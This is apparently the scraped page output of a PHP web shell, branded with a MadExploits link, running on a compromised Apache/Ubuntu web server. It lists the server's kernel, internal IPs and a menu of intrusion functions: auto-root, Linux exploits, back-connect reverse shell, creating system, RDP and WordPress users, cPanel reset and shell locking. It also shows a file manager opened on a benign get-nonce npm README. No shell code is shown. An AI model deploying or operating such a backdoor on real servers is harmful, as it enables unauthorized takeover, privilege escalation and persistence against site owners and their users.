Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
get-nonce /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
drwxrwxr-x
CHANGELOG.md
21
B
-rw-rw-r--
LICENSE
1.05
KB
-rw-rw-r--
README.md
1.52
KB
-rw-rw-r--
package.json
1.67
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# get-nonce just returns a **nonce** (number used once). No batteries included in those 46 bytes of this library. --- - ✅ build in `webpack` support via `__webpack_nonce__` # API - `getNonce(): string|undefined` - returns the current `nonce` - `setNonce(newValue)` - set's nonce value ## Why? Why we need a library to access `__webpack_nonce__`? Abstractions! "I", as a library author, don't want to "predict" the platform "you" going to use. "I", as well, want an easier way to test and control `nonce` value. Like - `nonce` is supported out of the box only by webpack, what you are going to do? This is why this "man-in-the-middle" was created. Yep, think about `left-pad` :) ## Webpack > https://webpack.js.org/guides/csp/ To activate the feature set a **webpack_nonce** variable needs to be included in your entry script. ``` __webpack_nonce__ = uuid(); // for example ``` Without `webpack` `__webpack_nonce__` is actually just a global variable, which makes it actually bundler independent, however "other bundlers" are able to replicate it only setting it as a global variable (as here in tests) which violates a "secure" nature of `nonce`. `get-nonce` is not global. ## Used in - `react-style-singleton` <- `react-remove-scroll` <- `react-focus-on` ## Inspiration - [this issue](https://github.com/theKashey/react-remove-scroll/issues/21) - [styled-components](https://github.com/styled-components/styled-components/blob/147b0e9a1f10786551b13fd27452fcd5c678d5e0/packages/styled-components/src/utils/nonce.js) # Licence MIT
Close